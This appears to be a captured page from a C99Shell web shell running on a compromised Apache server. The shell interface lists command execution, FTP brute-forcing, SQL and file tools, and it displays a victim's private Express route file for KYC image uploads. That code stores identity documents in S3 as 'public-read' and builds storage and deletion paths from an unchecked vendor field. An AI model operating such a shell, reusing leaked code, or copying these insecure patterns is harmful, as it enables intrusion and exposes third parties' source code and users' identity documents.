!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/space/routes/   drwxr-xr-x
Free 13.04 GB of 57.97 GB (22.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     kyc.js (6.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import express from 'express';
var router = express.Router();

// Imports your configured client and any necessary S3 commands.
import { PutObjectCommand,ListObjectsV2Command,DeleteObjectsCommand,DeleteObjectCommand  } from "@aws-sdk/client-s3";
import { s3Client } from ".././client.js";
import sharp from 'sharp';

import multer from 'multer';
import ShortUniqueId from 'short-unique-id';
//Instantiate
const uid = new ShortUniqueId({ length: 10 });
// const multer  = require('multer')
const storage = multer.memoryStorage()
const upload = multer({ storage: storage })
let bucketParams;
var bucket="jiffp";

router.get('/', function(req, res, next) {
  res.send("hello world");
});
    function uploadNewImage(no_of_files,folder,files) {
        var file_location={};
        var name;
        var result
        return new Promise(function(resolve, reject) {
        for (let i = 0; i < no_of_files; i++) {
            let ud=uid()+".webp";
            let file_name=folder+"/"+ud;
            sharp(files[i].buffer).resize({ width:1920}).toBuffer()
            .then( async function(newFileInfo){
                // console.log("Image Resized");
                bucketParams = {
                Bucket: bucket,
                Key: file_name,
                Body: newFileInfo,
                ContentType: "image/png",
                ACL: "public-read",
                Preview:newFileInfo,
                };
                var re=await insert(bucketParams);
                if (re=="error") {
                    resolve({"error":"true" ,"message":"Image Insertion error"});
                }else{
                    name=files[i].originalname.split(".")[0];
                    file_location[name]=ud;
                    result = Object.entries(file_location);
                    if (no_of_files==result.length) {
                        resolve(result);
                    }
                }
            })
            .catch(function(err){
            // console.log("error    "+err.message);
            resolve({"error":"true" , "message": err.message});
            });
    
        }
        });
    }
   // Uploads the specified file to the chosen path.
    export const insert = async (bucketParams) => {
        try {
        const data = await s3Client.send(new PutObjectCommand(bucketParams));
        console.log(
            "Successfully uploaded object: " +
            bucketParams.Bucket +
            "/" +
            bucketParams.Key
        );
        return data;
        } catch (err) {
        console.log("Error ", err.message);
        return "error";
        }
    };
    export const delete_image = async (bucketParams) => {
        try {
        // const data = await s3Client.deleteObject(bucketParams);
        const listCommand = new ListObjectsV2Command(bucketParams);
        let list = await s3Client.send(listCommand);
        if (list.KeyCount) { // if items to delete
            list.Contents.forEach(async (item) => {
                // console.log(item.Key);
                let deleteCommand = new DeleteObjectCommand({
                    Bucket: bucket,
                    Key: item.Key
                  });
                await s3Client.send(deleteCommand); // delete the files
            });
            return "deleted";
          }
        } catch (err) {
            console.log("Error", err.message);
            return err.message;
        }
    };
    router.post("/kyc",upload.array('images',4), async (req, res, next) => {
        console.log(req.files.length);
        if (!req.files) {
            res.locals.data={"error":"true","message":"No Image is selected"};
            res.status(200).json(res.locals.data);
        }
        if (req.files.length===0) {
            res.locals.data={"error":"true","message":"No Image is selected"};
            res.status(200).json(res.locals.data);
        }else if (!req.body.vendor) {
            res.locals.data={"error":"true","message":"No Vendor is selected"};
            res.status(200).json(res.locals.data);
        }else{
            let no_of_files=req.files.length;
            var folder=req.body.vendor+"/kyc";
            var files=req.files;
            bucketParams = {
                Bucket: bucket,
                Prefix: folder,
            };
            await delete_image(bucketParams);
            uploadNewImage(no_of_files,folder,files).then(function(file_location){
                console.log(file_location);
                if (file_location.hasOwnProperty('error')) {
                res.locals.data=file_location;
                res.status(500).json({"error":"true", "message":"Something is wrong, Please try again"});
                }else{
                res.status(200).send({"data":file_location}); 
                }
            });
        }
    });
    router.post("/profile",upload.single('image'), async (req, res, next) => {
        if (req.file.length===0) {
        res.locals.data={"error":"true","message":"No Image is selected"};
        res.status(200).json(res.locals.data);
        }else if (!req.body.vendor) {
        res.locals.data={"error":"true","message":"No Vendor is selected"};
        res.status(200).json(res.locals.data);
        }else{
        var folder=req.body.vendor;
        var file=req.file;
        let ud=uid()+".webp";
        let file_name=folder+"/profile"+"/"+ud;
        sharp(file.buffer).resize({ width:1920}).toBuffer()
            .then( async function(newFileInfo){
                bucketParams = {
                Bucket: bucket,
                Key: file_name,
                Body: newFileInfo,
                ContentType: "image/png",
                ACL: "public-read",
                Preview:newFileInfo,
                };
                var re=await insert(bucketParams);
                if (re=="error") {
                    res.status(500).json({"error":"true", "message":"Something is wrong, Please try again"});
                }else{
                    res.status(200).send({"data":ud}); 
                }
            })
        }
    });
    
export { router }

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0234 ]--